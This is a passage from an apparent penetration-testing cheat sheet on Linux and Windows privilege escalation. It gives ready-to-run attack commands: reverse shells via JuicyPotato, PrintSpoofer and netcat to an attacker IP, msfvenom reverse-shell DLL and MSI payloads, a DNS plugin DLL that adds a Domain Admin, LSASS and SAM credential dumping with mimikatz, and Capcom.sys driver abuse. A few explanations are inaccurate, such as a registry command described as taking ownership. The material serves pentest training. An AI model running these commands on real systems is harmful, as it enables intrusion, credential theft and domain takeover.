    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python
```

If we have `SETENV` permission then we can set PYTHONPATH environment variable to somewhere we have write permission and put the respective file in that folder.

```
dollarboysushil@kali:~$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./pythoncode.py

uid=0(root) gid=0(root) groups=0(root)
...SNIP...
```

So, here we can put malicious `numpy.py` inside the /tmp file and set the env variable.

## IMPORTANT

sometimes we donot have write permission to these library location, if the suid set python file are present in the directory where we have write permission then we can create malicious python script in this directory (as the current directory **always** comes first) this malicious script gets executed first.


# Windows Privilege Escalation

<figure><img src="/files/ollVrhMPrYgDO7MKBBYG" alt=""><figcaption><p>Windows Priv Esc mindmap by c0nd4</p></figcaption></figure>


# Gathering Information of the System

## 1. Network & System Information

* **Network Configuration:**
  * `ipconfig /all` → View detailed network interface configurations (IP, DNS, etc.).
  * `arp -a` → Display ARP cache (shows local network devices).
  * `route print` → View the system's routing table.
* **Service Information:**
  * `tasklist /svc` → List all running processes along with their services.
  * `netstat -ano` → Display active TCP/UDP connections and listening ports with process IDs.
* **System Info:**
  * `systeminfo` → Get a comprehensive overview of the system (OS version, architecture, hotfixes, etc.).
  * `wmic product get name` → List installed software via the command line.
    * `Get-WmiObject -Class Win32_Product | select Name, Version` → List installed software via PowerShell.

## **2. User & Privilege Enumeration**

* **Current User & Privileges:**
  * `whoami /priv` → List current user privileges.
  * `whoami /groups` → List group memberships for the current user.
  * `net user` → Get a list of all user accounts.
  * `query user` → Display logged-in users on the system.
* **Groups & Password Policies:**
  * `net localgroup` → List all local groups.
  * `net localgroup "Backup Operators"` → List users in the Backup Operators group.
  * `net accounts` → View password policies and other account-related configurations.

## **3. Security Tools & Configuration**

* **Windows Defender:**
  * `Get-MpComputerStatus` → Check the status of Windows Defender (active, signatures, etc.).
* **AppLocker:**
  * `Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections` → List effective AppLocker rules.
  * `Test-AppLockerPolicy -Path C:\Windows\System32\cmd.exe -User Everyone` → Test if a specific executable (cmd.exe) can be run for a specific user.

## **4. Named Pipes & Permission Enumeration**

* **Listing Named Pipes:**
  * `pipelist.exe /accepteula` → List all named pipes on the system.
* **Access Rights to Named Pipes:**
  * `accesschk.exe /accepteula \\.\Pipe\lsass -v` → Check permissions for a specific named pipe (e.g., LSASS pipe).
  * `accesschk.exe /accepteula -w \\.\Pipe\SQLLocal\SQLEXPRESS01 -v` → Check write access for a SQL pipe.

## **5. Environment Variables & Other Useful Commands**

* **View Environment Variables:**
  * `set` → Display environment variables for the current session.


# User Privileges

## **Basic Privilege Enumeration**

* **Check current user privileges:**

  * `whoami /priv` → Lists all privileges assigned to the current user. This is crucial for identifying rights that could lead to privilege escalation (e.g., SeBackupPrivilege, SeImpersonatePrivilege).

  **Common Privileges to Look for:**

  * `SeBackupPrivilege` → Allows the user to bypass file security to perform backups.
  * `SeRestorePrivilege` → Allows the user to overwrite system files, useful for file replacement attacks.
  * `SeTakeOwnershipPrivilege` → Allows taking ownership of any object, which can lead to control over important files or processes.
  * `SeImpersonatePrivilege` → Allows impersonation of a token, often leading to privilege escalation (common in token impersonation attacks).
  * `SeDebugPrivilege` → Allows debugging processes, typically restricted to admins. Can be used to inject code into privileged processes.


# SeImpersonatePrivilege and SeAssignPrimaryToken

## **Privilege Escalation via SeImpersonatePrivilege and SeAssignPrimaryToken**

#### **Understanding SeImpersonatePrivilege**

* **SeImpersonatePrivilege** is a Windows security setting granted by default to the local **Administrators** group and the **Local Service** account. It allows certain programs to impersonate users or specified accounts, enabling the program to execute tasks on behalf of those users.
* **Key Command:**
  * `whoami /priv` → If this command shows **SeImpersonatePrivilege** or **SeAssignPrimaryTokenPrivilege**, you can exploit it to impersonate a privileged account, such as `NT AUTHORITY\SYSTEM`.

## **Exploiting SeImpersonatePrivilege**

Several tools and techniques exploit **SeImpersonatePrivilege** and **SeAssignPrimaryTokenPrivilege** to escalate privileges to SYSTEM or Administrator. Here are two primary tools:

### **1. JuicyPotato Exploit**

**JuicyPotato** is an exploit tool that abuses **SeImpersonate** or **SeAssignPrimaryToken** privileges via **DCOM/NTLM reflection** attacks. It works on Windows versions up to Server 2016 and Windows 10 build 1809 (it does **not** work on Server 2019 or newer Windows 10 versions).

**Steps to Exploit Using JuicyPotato:**

1. **Set up a Netcat listener** on your attacking machine:

   ```yaml
   nc -lnvp 8443
   ```
2. **Run JuicyPotato** on the target:

   ```swift
   c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
   ```

   **Explanation:**

   * `-l` → Specifies the COM server listening port (53375 in this case).
   * `-p` → Program to launch (in this case, `cmd.exe`).
   * `-a` → Argument passed to `cmd.exe`. Here, it instructs Netcat to connect to the attacker's machine and provide a reverse shell.
   * `-t` → Specifies the `createprocess` call, using either **CreateProcessWithTokenW** or **CreateProcessAsUser** functions, which require **SeImpersonate** or **SeAssignPrimaryToken** privileges.

### **2. PrintSpoofer and RoguePotato**

On newer versions of Windows where JuicyPotato doesn't work (Windows 10 build 1809 and beyond, and Server 2019), tools like **PrintSpoofer** and **RoguePotato** can be used to exploit **SeImpersonatePrivilege**.

**PrintSpoofer:**

**PrintSpoofer** is a tool that abuses the **SeImpersonatePrivilege** through the print spooler service to escalate to SYSTEM.

**Steps to Exploit Using PrintSpoofer:**

1. **Run PrintSpoofer**:

   ```swift
   c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
   ```

   **Explanation:**

   * `-c` → Specifies the command to execute once the privilege escalation is successful. In this case, it is running Netcat (`nc.exe`) to provide a reverse shell to the attacker's machine.

***

#### **Note:**

* **JuicyPotato** is effective on older Windows versions (Windows Server 2016 and below), but it no longer works on Windows Server 2019 and Windows 10 build 1809 onwards.
* For newer systems, alternatives like **RoguePotato** or **PrintSpoofer** are more appropriate for exploiting **SeImpersonatePrivilege**.


# SeDebugPrivilege

#### **What is SeDebugPrivilege?**

* **SeDebugPrivilege** is a powerful Windows privilege that allows a user to debug and interact with any process running on the system, even those running as **SYSTEM**. This privilege is primarily intended for developers and administrators to debug applications but can be exploited to escalate privileges.
* **Key Command:**
  * `whoami /priv` → Check if the current user has **SeDebugPrivilege**. If listed, this privilege can be abused to access sensitive system processes like `LSASS` or escalate privileges by injecting malicious code into these processes.

#### **Exploiting SeDebugPrivilege**

If a user has **SeDebugPrivilege**, they can exploit it to interact with high-privileged processes, especially those running as SYSTEM. By accessing these processes, an attacker can extract sensitive information, such as credentials or passwords, or gain full control over the system.

Here are the main methods for exploiting **SeDebugPrivilege**:

## **1. Dumping LSASS to Extract Credentials**

The **Local Security Authority Subsystem Service (LSASS)** is responsible for enforcing the security policy on the system, handling password changes, and validating users for login. **LSASS** holds credentials in memory, and if **SeDebugPrivilege** is enabled, it can be dumped to extract these credentials.

**Steps to Exploit LSASS Dumping:**

1. **Use ProcDump**:

   ```perl
   procdump.exe -accepteula -ma lsass.exe lsass.dmp
   ```

   **Explanation:**

   * `-ma` → Captures a full memory dump of the `lsass.exe` process.
   * `lsass.dmp` → The output dump file that can later be analyzed to extract credentials.
2. **Analyze the dump with Mimikatz**:

   ```arduino
   arduinoCopy codemimikatz.exe
   mimikatz # sekurlsa::minidump lsass.dmp
   mimikatz # sekurlsa::logonpasswords
   ```

   **Explanation:**

   * `sekurlsa::minidump` → Loads the dumped file.
   * `sekurlsa::logonpasswords` → Extracts credentials from the dump.

## 2. Exploiting SeDebugPrivilege for RCE as SYSTEM

#### **Overview**

The **SeDebugPrivilege** can be used to gain **Remote Code Execution (RCE)** as **SYSTEM** by manipulating processes and inheriting elevated tokens from a SYSTEM-level process. The basic idea is to launch a child process that inherits the token of the parent process, which is running with **SYSTEM** privileges. By leveraging **SeDebugPrivilege**, we can alter the system's normal behavior and execute commands with SYSTEM rights.

#### **Steps to Achieve RCE as SYSTEM Using SeDebugPrivilege**

1. **Identify a SYSTEM-level process:**

   First, we need to identify a process that is running with **SYSTEM** privileges. We can do this using the `tasklist` command in an elevated PowerShell session.

   **Command:**

   ```mathematica
   PS C:\> tasklist
   ```

   This will give you a list of running processes along with their **PID** (Process IDs). Locate the **PID** of a process running as **SYSTEM**.

***

2. **Using psgetsystem Tool:**

   We will now use the **psgetsystem** tool, which can be found [here](https://github.com/decoder-it/psgetsystem), to impersonate the **SYSTEM** privileges of the identified parent process and launch a command as SYSTEM.

   **Steps to Use psgetsystem:**

   1. **Download and Import the Script**:

      After downloading the `psgetsys.ps1` script from the repository, import it into your PowerShell session:

      **Command:**

      ```shell
      PS> . .\psgetsys.ps1
      ```
   2. **Impersonate SYSTEM Using Parent Process ID (PPID):**

      Now, use the **ImpersonateFromParentPid** function to impersonate SYSTEM by specifying the **Parent Process ID** (`ppid`) of the SYSTEM-level process you found earlier. You can then execute any command as SYSTEM.

      **Command:**

      ```shell
      PS> ImpersonateFromParentPid -ppid <parentpid> -command <command to execute> -cmdargs <command arguments>
      ```

      For example, to launch **cmd.exe** as SYSTEM, you would run the following:

      **Example Command:**

      ```bash
      ImpersonateFromParentPid -ppid 612 -command "C:\Windows\System32\cmd.exe" -cmdargs ""
      ```

      * **-ppid** → Specifies the Parent Process ID (the SYSTEM process ID obtained earlier).
      * **-command** → The command to be executed (in this case, `cmd.exe`).
      * **-cmdargs** → Any additional command arguments (optional).


# SeTakeOwnershipPrivilege

#### **What is SeTakeOwnershipPrivilege?**

* **SeTakeOwnershipPrivilege** is a Windows privilege that allows users to take ownership of objects, such as files, folders, or registry keys, even if they do not have explicit permissions to do so. Once ownership is taken, the user can modify the object's permissions to grant themselves full control, effectively bypassing access restrictions.
* **Key Command:**
  * `whoami /priv` → Use this command to check if **SeTakeOwnershipPrivilege** is enabled for your user account.

#### **Exploiting SeTakeOwnershipPrivilege**

If a user has **SeTakeOwnershipPrivilege**, they can take control of sensitive objects like system files or critical processes and modify their permissions to gain access or execute arbitrary commands. Here's how you can exploit this privilege to escalate your privileges:

```
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled
```

If privilege is disabled, we can enable it using this script <https://github.com/proxb/PoshPrivilege/blob/master/PoshPrivilege/Scripts/Enable-Privilege.ps1>

```
PS C:\> Import-Module .\Enable-Privilege.ps1
PS C:\> .\EnableAllTokenPrivs.ps1
PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
```

## **1. Taking Ownership of Files or Directories**

**SeTakeOwnershipPrivilege** allows you to change ownership of a file or folder, giving you the ability to modify or access restricted files. After taking ownership, you can change its **Discretionary Access Control List (DACL)** to grant yourself full control.

**Steps to Exploit SeTakeOwnershipPrivilege on Files:**

1. **Take Ownership of a File or Directory:**

   Use the `takeown` command to take ownership of a file or directory.

   **Command:**

   ```php-template
   takeown /F <file_or_folder_path>
   ```

   Example:

   ```mathematica
   takeown /F C:\Windows\System32\drivers\etc\hosts
   ```

   This command changes the ownership of the specified file to your user account.
2. **Grant Yourself Full Control Over the File:**

   After taking ownership, modify the file's permissions using the `icacls` command to give yourself full control.

   **Command:**

   ```php-template
   icacls <file_or_folder_path> /grant <username>:F
   ```

   Example:

   ```bash
   icacls C:\Windows\System32\drivers\etc\hosts /grant <username>:F
   ```

   * **/grant** → Grants full control (`F`) over the file to the specified user.
3. **Modify or Access the File:**

   After granting yourself full control, you can now edit, delete, or access the file as needed. For example, you can now modify sensitive system files like `hosts`, or even replace system executables with malicious ones to gain SYSTEM-level privileges.

## **2. Taking Ownership of Registry Keys**

You can also use **SeTakeOwnershipPrivilege** to modify ownership and permissions of critical registry keys, which may allow you to escalate privileges.

**Steps to Exploit Registry Keys:**

1. **Take Ownership of a Registry Key:**

   Use **regedit** or `PowerShell` to change the ownership of a registry key. You can take ownership of sensitive keys such as those related to user accounts, services, or startup configurations.

   **Example in PowerShell:**

   ```powershell
   Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "<key>" -Value "<value>"
   ```

   This changes the ownership of the key, allowing you to modify startup settings or other critical configurations.
2. **Modify Permissions:**

   After taking ownership, modify the permissions to grant yourself full control. You can now alter the key's values to execute malicious code, start services with SYSTEM privileges, or add new startup entries.


# Group Privileges

#### **Overview**

Windows groups are collections of user accounts that share the same security permissions and rights. Each group has specific privileges that determine what actions members of that group can perform on a system. Some groups have extensive privileges that can be leveraged for privilege escalation.

Understanding group privileges is crucial for enumerating potential attack vectors in **privilege escalation** scenarios. Some groups, like **Administrators**, **Backup Operators**, and **Remote Desktop Users**, can provide direct or indirect paths to gaining **SYSTEM** or administrative privileges.

## **Common Privileged Groups in Windows**

### **1. Administrators Group**

The **Administrators** group has the highest level of access on a Windows machine, including full control over all system files, settings, and user accounts. Members of this group can:

* Execute any command with **SYSTEM** privileges.
* Install and modify software, hardware drivers, and security settings.
* Manage user accounts and change passwords.
* Take ownership of files and directories.

**Key Commands:**

* `net localgroup administrators` → List all members of the **Administrators** group.

**Privilege Escalation Path:**

* If you can add yourself to the **Administrators** group or impersonate a member, you can gain full control of the system.

***

### **2. Backup Operators Group**

The **Backup Operators** group has special privileges that allow members to back up and restore files, even if they don't have explicit permissions to access those files. Members of this group can:

* Bypass **NTFS** permissions and access files for backup and restoration.
* **Backup files** from any directory.
* **Restore files** to any directory.
* Log on locally to a machine.

**Key Commands:**

* `net localgroup "Backup Operators"` → List all members of the **Backup Operators** group.

**Privilege Escalation Path:**

* Backup Operators can read or overwrite sensitive files, including the **SAM** (Security Account Manager) database, which stores user password hashes. By extracting hashes, they can perform **pass-the-hash** attacks or crack the hashes to gain higher-level access.

***

### **3. Remote Desktop Users Group**

The **Remote Desktop Users** group grants the ability to log in to a system via **Remote Desktop Protocol (RDP)**. While not a highly privileged group, remote access can facilitate further exploitation, such as:

* Running commands remotely.
* Enumerating the system and potentially exploiting local vulnerabilities to escalate privileges.

**Key Commands:**

* `net localgroup "Remote Desktop Users"` → List all members of the **Remote Desktop Users** group.

**Privilege Escalation Path:**

* **Remote Desktop Users** can connect to the system via RDP, and if they can exploit a local privilege escalation vulnerability (such as **SeImpersonatePrivilege**), they can elevate to **SYSTEM** or **Administrator**.

***

### **4. Power Users Group**

In earlier versions of Windows (pre-Windows Vista), the **Power Users** group had elevated privileges similar to the **Administrators** group. However, in modern versions of Windows, the **Power Users** group has significantly reduced capabilities. Members of this group can:

* Install programs.
* Modify system settings to a limited extent.
* Manage some services and user accounts.

**Key Commands:**

* `net localgroup "Power Users"` → List all members of the **Power Users** group.

**Privilege Escalation Path:**

* While this group has been deprecated, on older systems or misconfigured environments, being a member of this group may still provide a path for privilege escalation by installing malicious software or exploiting vulnerable system configurations.

***

### **5. Users Group**

The **Users** group contains standard user accounts with limited privileges. Members can:

* Access their own files and certain shared system resources.
* Run applications that do not require elevated privileges.
* Access shared folders if permissions allow.

**Key Commands:**

* `net localgroup users` → List all members of the **Users** group.

**Privilege Escalation Path:**

* Users in this group typically do not have elevated privileges, but privilege escalation is possible if there are misconfigurations or vulnerable software that can be exploited to gain administrative rights.

***

### **6. Guests Group**

The **Guests** group is designed for temporary users with minimal permissions. Members can:

* Log on with a temporary profile.
* Access basic resources on the system.

**Key Commands:**

* `net localgroup guests` → List all members of the **Guests** group.

**Privilege Escalation Path:**

* Members of this group have very limited rights, but if they can exploit a vulnerability (such as a privilege escalation bug or improperly configured permissions), they may be able to escalate to a more privileged account.

***

#### **Other Special Groups**

### **7. Distributed COM Users Group**

Members of this group can launch, activate, and use Distributed Component Object Model (DCOM) objects remotely. While not immediately powerful, if DCOM is misconfigured, it can be used in **DCOM/NTLM reflection** attacks for privilege escalation.

**Key Commands:**

* `net localgroup "Distributed COM Users"` → List all members of the **Distributed COM Users** group.

***

### **8. Hyper-V Administrators Group**

Members of this group have administrative privileges to manage Hyper-V virtual machines (VMs). They can:

* Control virtual machine configurations.
* Start or stop VMs.
* Access virtual hard drives (VHDs) containing sensitive data.

**Key Commands:**

* `net localgroup "Hyper-V Administrators"` → List all members of the **Hyper-V Administrators** group.

## **Enumeration of Group Privileges**

Enumerating group memberships and privileges is crucial for assessing the attack surface in a Windows environment.

**Useful Commands for Enumeration:**

* **List All Users in a Group**:

  ```bash
  net localgroup <groupname>
  ```
* **List All Groups**:

  ```bash
  net localgroup
  ```
* **Check User Group Membership**:

  ```bash
  whoami /groups
  ```
* **Check Privileges of the Current User**:

  ```bash
  whoami /priv
  ```


# Backup Operators

#### **Overview**

The **Backup Operators** group is a built-in group in Windows that grants members the ability to back up and restore files, even if they do not have permission to access the files under normal circumstances. This privilege makes the group particularly powerful for potential abuse in **privilege escalation** scenarios, as **Backup Operators** can access sensitive files like the **SAM** (Security Account Manager) database and system files, which can lead to gaining higher-level access or even **SYSTEM** privileges.

#### **Key Privileges of Backup Operators**

Members of the **Backup Operators** group have two key privileges:

1. **SeBackupPrivilege**:
   * Allows users to **bypass file system permissions** to back up files. This means a Backup Operator can read files that they normally do not have permissions to access.
2. **SeRestorePrivilege**:
   * Allows users to **restore files** to any location on the file system, including protected or sensitive locations. This also allows modifying files that would otherwise be restricted.

## **Exploiting the Backup Operators Group for Privilege Escalation**

## **Backup and Extract the SAM Database**

One of the primary ways to exploit **Backup Operators** is by accessing and extracting the **SAM** (Security Account Manager) database. The **SAM** database contains password hashes for local user accounts, including **Administrator** and **SYSTEM**.

**Steps to Exploit:**

1. **Backup the SAM, SYSTEM, and SECURITY Hives:**

   Use the `reg save` command to back up these registry hives, which contain critical security information (including password hashes).

   ```bash
   reg save hklm\sam c:\temp\sam
   reg save hklm\system c:\temp\system
   reg save hklm\security c:\temp\security
   ```

   The `reg save` command can be used because **Backup Operators** have the privilege to read files they normally wouldn't have access to.
2. **Extract Password Hashes Using Tools**:

   Once you've backed up the hives, you can copy them to your attacker machine and use tools like **mimikatz** or **John the Ripper** to extract password hashes from the **SAM** and crack them.

   Example using **mimikatz**:

   ```bash
   sekurlsa::samdump::local c:\temp\sam c:\temp\system
   ```

   \
   or from linux<br>

   Using **secretsdump.py**:

   ```bash
   dollarboysushil@kali$ secretsdump.py -ntds ntds.dit -system system.back LOCAL
   ```
3. **Crack the Hashes or Use Pass-the-Hash**:

   If the hashes are crackable, you can attempt to crack them and log in with a privileged account. Alternatively, you can use the **pass-the-hash** technique to impersonate a privileged user (e.g., **Administrator**) without knowing the password.


# DnsAdmins

Members of the [**DnsAdmins**](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#dnsadmins) group possess access to DNS information on the network, which can be exploited for privilege escalation. By leveraging this group’s permissions, we can create a malicious DLL that adds a user to the **Domain Admins** group or provides a reverse shell.

#### **Generating Malicious DLLs with msfvenom**

1. **Creating a DLL to Add a User to the Domain Admins Group**: To create a DLL that executes a command to add a user to the **Domain Admins** group, use the following command:

   ```bash
   msfvenom -p windows/x64/exec cmd='net group "Domain Admins" netadm /add /domain' -f dll -o adduser.dll
   ```

   This command creates a DLL named `adduser.dll`, which will execute the command to add the specified user (`netadm`) to the **Domain Admins** group.
2. **Creating a DLL for a Reverse Shell**: To generate a DLL that provides a reverse shell, use the following command:

   ```bash
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.01 LPORT=5555 -f dll > dbs.dll
   ```

   This command creates a DLL named `dbs.dll` that will establish a reverse shell connection back to the attacker's machine.

#### **Loading the DLL into the DNS Service**

After generating the desired DLL, transfer it to the target machine. Next, load the DLL into the DNS service by executing the following command:

```powershell
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
```

This command configures the DNS server to load the `adduser.dll` the next time the service starts.

#### **Starting the DNS Service**

To execute the DLL, the DNS service needs to be restarted. Run the following commands:

```powershell
sc.exe stop dns
sc.exe start dns
```

If you lack the necessary permissions to start or stop the DNS service, you may need to wait until the service is restarted naturally, which could occur due to maintenance or other scheduled tasks.

#### **Verification**

To confirm that the user has been successfully added to the **Domain Admins** group, execute the following command:

```powershell
net group "Domain Admins" /dom
```

This command will display the members of the **Domain Admins** group, allowing you to verify that the new user (`netadm`) has been added successfully.


# Server Operators

#### **Overview**

The **Server Operators** group is a built-in security group in Windows Server environments. Members of this group are granted specific administrative privileges that allow them to perform server-related tasks without having full administrative rights. This group is primarily designed for delegated server management.

#### **Key Privileges of Server Operators**

Members of the **Server Operators** group have the following privileges:

1. **Start and Stop Services**:
   * They can start, stop, and pause services on the server, which is crucial for server maintenance and troubleshooting.
2. **Manage Shared Resources**:
   * Server Operators can create, modify, and delete shared folders and manage printer shares, allowing them to administer shared resources effectively.
3. **Backup and Restore Operations**:
   * Members can back up files and restore files from backup, making it easier to manage data recovery processes.
4. **Log on Locally**:
   * Members have the ability to log on locally to the server, which allows them to directly manage the server through its console.
5. **Manage Local Users and Groups**:
   * They can add or remove users from local groups and manage local accounts, which is important for user management tasks.

#### **Limitations**

While the **Server Operators** group has significant privileges, it does not have the same level of access as the **Domain Admins** group. Notably, Server Operators cannot:

* **Manage Active Directory**: They do not have permissions to modify Active Directory objects or group memberships outside of local server settings.
* **Modify System Settings**: Critical system configurations that affect the entire domain or security policies are beyond their reach.


# Always Install Elevated

#### **Overview**

The **Always Install Elevated** policy is a setting in Windows that allows standard users to install applications with elevated privileges. When this policy is enabled, any application installation initiated by a standard user can run with administrative rights, effectively bypassing User Account Control (UAC) prompts.

#### **How It Works**

When the **Always Install Elevated** setting is enabled, the following occurs:

1. **Elevation of Installations**: Standard users can install applications without being prompted for administrator credentials. This means that any MSI (Microsoft Installer) package executed will run with elevated permissions.
2. **UAC Bypass**: Users do not see the standard UAC prompt, which can prevent them from being aware of the risks associated with the installation of potentially harmful software.

#### **Creating and Executing a Malicious MSI Package for Reverse Shell Access**

1. **Generate the Malicious MSI Package**:
   * Use `msfvenom` to create a malicious MSI file that will initiate a reverse shell connection back to your listener. In this example, the local host (LHOST) is set to `10.10.10.10`, and the local port (LPORT) is set to `4444`.
   * The command to generate the MSI package is as follows:

     ```bash
     dollarboysushil@kali$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.10 lport=4444 -f msi > dbs.msi
     ```
2. **Transfer the MSI File**:
   * After generating the `dbs.msi` file, transfer it to the target machine where you want to execute it.
3. **Set Up a Netcat Listener**:
   * On your attacking machine, set up a netcat listener to catch the reverse shell once the MSI package is executed:

     ```bash
     nc -lnvp 4444
     ```
4. **Execute the MSI Package**:
   * On the target machine, run the following command to execute the malicious MSI package quietly, without displaying any prompts or restarting the system:

     ```cmd
     C:\> msiexec /i c:\users\dollarboysushil\desktop\dbs.msi /quiet /qn /norestart
     ```

After executing this command, the target machine will connect back to your listener, providing you with a reverse shell with system privileges.


# Print Operators

#### **Overview**

The **Print Operators** group in Windows is designed for users who need the ability to manage printers and print jobs. Members of this group can perform tasks like configuring printers, managing print queues, and performing print server tasks. While these permissions are focused on printing functionalities, they can potentially be exploited for privilege escalation on a Windows system.

#### **Privilege Escalation via Print Operators Group and Capcom.sys Driver**

The **Print Operators** group is a highly privileged group in Windows that grants its members several significant permissions, including:

* **`SeLoadDriverPrivilege`**: Allows members to load and manage system drivers.
* The ability to manage, create, share, and delete printers connected to a Domain Controller.
* The ability to log on locally to a Domain Controller and shut it down.

Given these privileges, members of this group can load system drivers, enabling them to exploit the system further.

#### **Using Capcom.sys for Privilege Escalation**

The **Capcom.sys** driver is a well-known driver that allows users to execute shell code with system privileges. This driver can be particularly useful for escalating privileges in a Windows environment.

1. **Download the Capcom.sys Driver**:
   * The Capcom.sys driver can be downloaded from the following GitHub repository:
     * [Capcom-Rootkit - Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
   * Additionally, you can find useful tools such as `LoadDriver.exe` and `ExploitCapcom.exe` in the following repository:
     * [SeLoadDriverPrivilege - Josh Morrison](https://github.com/JoshMorrison99/SeLoadDriverPrivilege)
2. **Create a Malicious Executable**:
   * Using Metasploit, create a malicious executable (e.g., `rev.exe`) that will provide a reverse shell when executed. This executable will be run with elevated privileges after loading the Capcom.sys driver.
3. **Load the Capcom.sys Driver**:
   * Use the `LoadDriver.exe` tool to load the Capcom.sys driver. The command syntax is as follows:

     ```powershell
     .\LoadDriver.exe System\CurrentControlSet\MyService C:\Users\Test\Capcom.sys
     ```
   * Upon successful execution, this command should return `NTSTATUS: 00000000, WinError: 0`. If it does not, check the location of `Capcom.sys` or ensure that you are executing `LoadDriver.exe` from the correct directory.
4. **Execute the Malicious Executable**:
   * After successfully loading the driver, use `ExploitCapcom.exe` to execute your malicious executable with elevated privileges:

     ```powershell
     .\ExploitCapcom.exe C:\Windows\Place\to\reverseshell\rev.exe
     ```
   * This command runs the `rev.exe` file with system privileges, providing the attacker with a reverse shell.

#### **Conclusion**

By leveraging the permissions granted to members of the **Print Operators** group, especially the ability to load drivers, an attacker can use the **Capcom.sys** driver to execute malicious code with system privileges. Understanding these techniques is crucial for securing Windows environments and preventing unauthorized access.


# Event Log Readers

#### **Overview**

The **Event Log Readers** group in Windows is designed to allow its members to read the event logs on a system. This group typically includes users who need to monitor or analyze system and application events without granting them broader administrative privileges.

#### **Privileges Granted**

Members of the Event Log Readers group have the following privileges:

* **Read Event Logs**: Users can access and read the event logs generated by the Windows operating system, applications, and services.
* **View Security Logs**: This includes access to security-related events, which may contain sensitive information such as user logins, account changes, and security policy changes.

#### **Potential for Privilege Escalation**

While the **Event Log Readers** group does not inherently grant high privileges, there are specific scenarios where these members could potentially escalate their privileges:

1. **Analyzing Security Logs**:
   * By reviewing security logs, a user may identify sensitive information, such as account credentials, account lockouts, or changes made by other users. This information could potentially be leveraged to gain unauthorized access to accounts or systems.
2. **Identifying Vulnerabilities**:
   * Users can analyze event logs to identify misconfigurations or vulnerabilities in the system. For example, if an administrator frequently logs in and out or if there are repeated failed login attempts, this could indicate weak passwords or poorly secured accounts.
3. **Targeting Other Users**:
   * Information from event logs can help identify high-privilege accounts and their activity patterns. An attacker could use this information to craft targeted attacks, such as phishing or social engineering, against those users.
4. **Leveraging Log Access for Other Attacks**:
   * If a user can read event logs, they may be able to manipulate logging services or other components to perform actions with higher privileges, especially if there are vulnerabilities or misconfigurations in those services.

## **Searching Security Logs Using wevtutil**

The `wevtutil` command-line utility is a powerful tool for managing Windows Event Logs. It can be used to query event logs and retrieve information based on specific criteria. In this example, we will focus on querying the **Security** log to find specific user-related events.

**Example Command**

```powershell
PS C:\htb> wevtutil qe Security /rd:true /f:text | Select-String "/user"
```

**Breakdown of the Command:**

* **`wevtutil`**: This is the command-line utility for Windows Event Log management.
* **`qe Security`**: This option specifies that we want to query the **Security** log.
* **`/rd:true`**: This option reverses the order of the events, showing the most recent events first. This is useful for quickly identifying the latest activities.
* **`/f:text`**: This option specifies the format of the output. In this case, we are requesting the output in plain text format.
* **`| Select-String "/user"`**: This part of the command pipes the output to the `Select-String` cmdlet, which filters the results to only include lines that contain the string `/user`. This is particularly useful for identifying log entries related to user account actions.

**Sample Output**

The command may produce output similar to the following:

```perl
Process Command Line:   net use T: \\dbs\backups /user:dollar P@ssword
```

**Interpretation of the Output**

* The output indicates that a command was executed to establish a network connection to `\\dbs\backups` using the specified username (dollar) and password (`P@ssword`).
* This information can be crucial for security analysis, as it reveals user activity related to network shares, which could potentially indicate unauthorized access or misuse of credentials.

#### **Conclusion**

Using `wevtutil` to search through security logs can provide valuable insights into user activities and potential security incidents. The ability to filter results with `Select-String` allows for more focused analysis, making it easier to spot suspicious behavior or investigate incidents.


# Hyper-V Administrators

#### **Hyper-V Administrators Group and Domain Controller Security Risks**

The **Hyper-V Administrators** group possesses comprehensive access to all Hyper-V features, granting its members significant control over virtualized environments. This level of access poses critical security implications, particularly when it comes to virtualized Domain Controllers (DCs).

**Key Points:**

1. **Full Access to Hyper-V Features**:
   * Members of the Hyper-V Administrators group can manage all aspects of Hyper-V, including the ability to create, modify, and delete virtual machines. This includes virtualized Domain Controllers.
2. **Virtualization of Domain Controllers**:
   * In environments where Domain Controllers are virtualized, the implications of having Hyper-V Administrator privileges are profound. These administrators effectively have the power to control the Domain Controller as if they were Domain Admins.
3. **Cloning Domain Controllers**:
   * A Hyper-V Administrator can easily create a clone of a live Domain Controller. This process involves taking a snapshot or creating a copy of the virtual machine hosting the Domain Controller, which can be done with minimal oversight.
4. **Mounting Virtual Disks**:
   * Once a clone is created, the administrator can mount the virtual disk of the cloned Domain Controller offline. This allows them to access sensitive files without the usual security measures in place.
5. **Extracting NTDS.dit**:
   * The **NTDS.dit** file is the Active Directory database file that contains all user accounts, group memberships, and password hashes within the domain. By accessing this file, an administrator could extract NTLM password hashes for all users in the domain.
6. **Potential for Privilege Escalation**:
   * With access to NTLM hashes, an attacker could perform offline attacks to crack passwords, potentially gaining access to higher-privileged accounts within the domain.


# Credential Theft

Credential hunting involves searching for sensitive information, such as usernames and passwords, within various files and system locations. Below are methods for locating credentials on Windows systems.

### **Searching Security Logs Using wevtutil**

You can query security logs for specific user actions, such as logins or credential usage:

```powershell
PS C:\dbs> wevtutil qe Security /rd:true /f:text | Select-String "/user"
```

#### Example Output:

```perl
Process Command Line:   net use T: \\dbs\users /user:dollar P@ssword
```

### **Searching for Credentials in Files**

#### Using Command Prompt

* Search for specific terms like "password" in various file types:

  ```cmd
  C:\dbs> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
  ```

  * **Flags**:
    * `/S`: Search in the current directory and all subdirectories.
    * `/I`: Ignore case sensitivity.
    * `/M`: Output only filenames containing the search string.
* Searching within a specific user directory:

  ```cmd
